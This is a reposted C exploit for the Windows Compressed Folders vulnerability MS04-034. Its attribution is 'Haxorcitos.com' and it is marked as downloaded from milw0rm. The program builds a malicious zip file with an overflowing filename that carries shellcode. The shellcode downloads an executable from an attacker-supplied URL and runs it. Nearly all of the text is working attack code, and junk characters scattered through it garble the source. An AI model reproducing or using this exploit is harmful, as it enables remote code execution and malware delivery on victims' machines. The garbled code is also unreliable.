(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * 6 ^6 T5 l# C( d' L( }; E* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html + B. _( C; x' }7 R; \* Exploit Date: 21/10/2004 * 6 y6 h: \) Y; _* j+ z' d; T* Tarako - Haxorcitos.com 2004 & e% t$ S! y. U y& I* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" " p3 `7 ?9 b% a( a" b3 ]* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * " t5 r; `2 X! `& e0 C" l" w* Greetings t #haxorcitos, #dsr and #localhost @efnet * : o/ d. B i j7 K2 _$ z _* * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it 4 T9 Y, o7 ~3 g+ y/ E* 3) search in the explorer.exe memory the shellcode and get the addresses * ! n. B$ Q$ o. S5 g1 X) d$ }# L4 o*/ #include <stdio.h> . P9 |7 l C' A& {( M0 w# Y#include <windows.h> #pragma pack(1) 4 k) c, t$ q8 `! b4 S0 x! C$ d* R) X #define DATOS "Tarako-Haxorcitos.com" typedef struct { + W6 y3 e6 v' g2 T2 z5 p, nDWORD Signature; // PK.. 4 bytes (0x04034B50) 3 t! z0 Q6 _6 {, vWORD VersionNeeded; ) w) C2 k- c6 vWORD GeneralPurposeFlag; // para el data descriptor y demas . p* h! f L7 h" K8 {( g* TWORD CompressionMethod; - i3 P$ w. f- M) C- h) BWORD ModFileTime; % L& U6 T0 U+ ^ i3 u" XWORD ModFileDate; / T$ z4 L- N, L0 I+ pDWORD Crc32; DWORD CompressedSize; ) B8 H( p( S& d4 dDWORD UncompressedSize; WORD FilenameLength; J& l* H6 u- W' @WORD ExtraFieldLength; + e: K7 L1 J% t, n) N8 K// filename (variable size) 9 x" ]( X9 L) q1 j# }% y ?// extra field (variable size) }TOPHEADER; 0 K5 O y, v- h$ c* l, s typedef struct { F; H+ ?) e! M+ H9 z, SDWORD Signature; // PK.. 4 bytes (0x02014B50) $ Y8 m4 D% e# R0 n: `WORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; 3 D& S7 p1 J# K0 K! h% TDWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; " ]* {3 A3 B6 h% R! x6 X$ CWORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; 0 ~( N* Q$ Y* gDWORD RelativeOffsetOfLocalHeader; - G d: \) f) C// filename (variable size) 7 l( k# [( Y8 k$ T. O// extra field (variable size) : ]- x' t/ Y/ s// file comment (variable size) - N! J/ O+ f- `$ f" Q}MIDDLEHEADER; + r% L& l" m# I0 h/ `' O% {8 q) C1 t typedef struct { / C7 `3 M5 C6 \- h/ UDWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; + F2 X( L* l: M! ?2 G% {DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; * G: R0 s# o; Y. c// zipfile comment (variable size) 6 A- E" Q0 M, s. T2 d}BOTTOMHEADER; /* 3 q# J9 t L) B* download shellcode - RaiSe - raise@netsearch-ezine.com , s! X% m2 F$ B4 c% g*/ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" * b! h1 v( B. J; h* I"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" ( B) N8 G0 z3 G# W7 D"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" , d6 ?+ _' S" y' S1 \1 s"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" + z G3 T% H, n" ^0 q# I7 V+ [* A"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" * g3 R. x5 U' P6 I6 y"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" ) I2 U5 ^- H# j"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" . T/ t! h: {& F) c/ V5 c# D! p"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" u$ Y4 h1 w% D( c"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" ) b, m; \$ K3 [7 f8 X"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 0 f6 `2 d1 D. a0 W* t: Q"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" 3 D, Z1 S# I+ b' e I, C"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" " A2 X9 ^; v0 x% U4 s"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" 7 A/ g- |; b, N, U. o, c% x"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" x! F& h" A5 ~ z2 r"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; / Y9 k& A |( c! N6 N* Wchar shellcode2[] ="\x08\x01"; 6 @$ a+ O2 q2 _8 E% @char offset[]="\x41\x41\x41\x41"; 6 P) o6 g5 u5 j4 @char jmpbelow[]= "\xeb\x06\x90\x90"; 4 r8 X* G* \5 E . v- n) H$ s3 Y6 l7 V- zint main(int argc,char *argv[]) { ! ]0 E+ [+ s* H FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; 2 K# |4 a- I; C) U# \BOTTOMHEADER *Cabecera3; + e6 f5 Y0 h; j- Q. d1 SDWORD c; 7 G. m/ N0 H; m3 X5 S, l+ CUINT i; char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { 4 _5 k4 s! s( pprintf("\n\n Usage: %s <URL> \n",argv[0]); 0 Z* ^" G9 I* Y/ eexit(1); } url=argv[1]; $ f C4 E) n" s$ n I8 \2 _# Eprintf("\n * URL: %s",url); # \" r7 T. S8 v# Q ! x7 G! \7 t/ u6 S& }; S xif (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); $ R5 [' |! ` G+ g} - e% u$ \3 T! ^) \8 ]5 |; {8 [ + V! a; s: {$ tc=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); 7 |0 g( j7 ?0 K# Zmemset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90; / y9 U% M7 P+ e - o5 ~/ Z, {+ O; J7 `) Pmemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); / e5 t- @5 G, e5 _: ]; Imemcpy(filename+0x1818,offset,strlen(offset)); 9 { s7 _# E5 \+ d/ V* p6 j( w3 n, K memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); memcpy(filename+(c-4),".txt",4); Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 6 ^: m) P& t3 l" |; m$ `Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); 6 ~8 a [2 i0 mCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); 0 L1 j& d9 |$ ?% N9 ]memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 8 C8 y* P) B! G$ m, c 1 h# M. { A3 k. s5 t# s3 t' c/////////////////////////////////////////////////////////////////// // TOPHEADER ' P+ p! ~9 r2 l9 @3 j& K/////////////////////////////////////////////////////////////////// , I; g" p2 ~. e q* vCabecera1->Signature=0x04034B50; // DWORD 5 b+ t7 L; g8 M7 hCabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 6 S! P2 T( h2 L# iCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD P4 k1 t3 y/ v" T& O/ s; OCabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); - W+ L. N" V) t5 zCabecera1->ExtraFieldLength=0x0000; // WORD 3 U; W9 S/ U7 M3 u/////////////////////////////////////////////////////////////////// 4 _- g" ?4 T3 S2 L! ]& j/////////////////////////////////////////////////////////////////// // MIDDLEHEADER ' h1 D# n& d6 m; H/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD 4 N+ s% d7 R1 `4 f. v2 x' G ]Cabecera2->MadeVersion=0x0014; // WORD : c4 G6 Y `# \ J1 fCabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD ! K! {- z4 z0 s1 X% u# UCabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD - Z- {. ?, U8 F+ e4 h& w# P qCabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD 5 Q: X1 F4 l- JCabecera2->FileCommentLength=0x0000; // WORD % I1 E+ L+ @( m+ y# rCabecera2->DiskNumberStart=0x0000; // WORD * u7 ]1 z5 A' \$ W6 Y) b2 j3 CCabecera2->InternalFileAttributes=0x0001; // WORD 9 |) A1 G9 E7 B7 \Cabecera2->ExternalFileAttributes=0x00000020; // DWORD 0 j9 ^" R8 `7 F7 YCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// 8 C7 d5 G" q) a / B$ Y' |! t! K E2 \4 Z' Y W$ z/////////////////////////////////////////////////////////////////// , T+ k2 H- p! h" [ x- F// BOTTOMHEADER /////////////////////////////////////////////////////////////////// 2 m' g9 W6 P. b& L* Y$ zCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD 8 x( G* \0 \. d- W, D/ l" SCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 3 P0 u! c3 n& p/ H, PCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD 0 L* l% X S1 t6 H+ {: x1 @/////////////////////////////////////////////////////////////////// ( S& W& z4 p6 S# D: ~2 q * f) d3 G. L9 _# \6 J# Vfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); + N+ {! b+ m O! D- K1 u) T: |fwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); ) G3 s0 q2 u5 m( r5 h, g8 v+ v fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); r5 [+ \# V ~4 k1 c% }fwrite(filename, c, 1,ZipFile); - ] F. ]8 C- I; @- dfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); fclose(ZipFile); printf("\n * prueba.zip created\n"); * `; B9 s( e8 D' Q. oreturn 1; }//downloaded from milw0rm.com ' b" S2 s1 g# \8 V6 a; u: s